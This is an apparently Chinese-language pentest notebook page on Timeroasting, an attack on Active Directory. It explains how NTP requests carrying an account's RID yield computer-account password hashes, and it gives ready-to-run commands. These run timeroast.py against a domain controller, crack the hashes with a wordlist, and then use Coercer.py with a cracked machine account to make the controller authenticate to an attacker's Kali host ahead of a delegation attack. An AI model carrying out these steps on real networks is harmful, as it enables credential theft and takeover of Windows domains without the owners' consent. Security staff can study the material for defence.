# Timeroasting

#### 原理

Timeroasting利用Windows的NTP身份验证机制，允许未经身份验证的攻击者通过发送带有该帐户的RID的NTP请求来有效地请求任何**计算机帐户**的密码哈希

#### 利用

加入域的计算机没有密码，一般域用户创建的机器用户才有密码

利用[SecuraBV/Timeroast](https://github.com/SecuraBV/Timeroast)

```
chmod 777 Timeroast

python3 timeroast.py 10.0.0.42 | tee ntp-hashes.txt
# timeroast目录下的timeroast.py，IP为域控的IP

python3 timecrack.py ntp-hashes.txt pwd.txt
# pwd.txt是密码字典
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2F20JYJ04dHVkBys5jHunL%2F1684322593652.png?alt=media&#x26;token=bbd0f07c-f5b5-426a-b068-681206d32d10" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1684322593652.png)

#### 利用场景

在域外的话其实可以利用域用户枚举去尝试获取机器用户名字，（如果在域内有域用户权限的话可以直接创建机器用户）

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FqvEDPJRnlKrH0cw5t9Af%2F1684323723565.png?alt=media&#x26;token=2668721c-2d1e-437e-a254-022eaa6b6d84" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1684323723565.png)

然后尝试去匹配机器用户名和密码，然后利用机器用户去域渗透，机器用户也是有域用户的一些功能

比如我可以利用机器用户去强制其他机器对kali机器进行身份认证，接下来可以(为域控机器)设置基于资源的约束委派，进行基于资源的约束委派的攻击

```
python3 Coercer.py coerce  -l 10.10.10.10 -t 10.10.10.139 -u "test233\$" -p "Ice231..." -d fbi.gov -v  
# 10.10.10.10为kali的IP，10.10.10.139为域控(受害机器)IP
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2F8p3AGO5p0kHnX7WJuOr7%2F1684324316986.png?alt=media&#x26;token=27302ce4-aa74-4283-9877-5a1a20a774d4" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1684324316986.png)
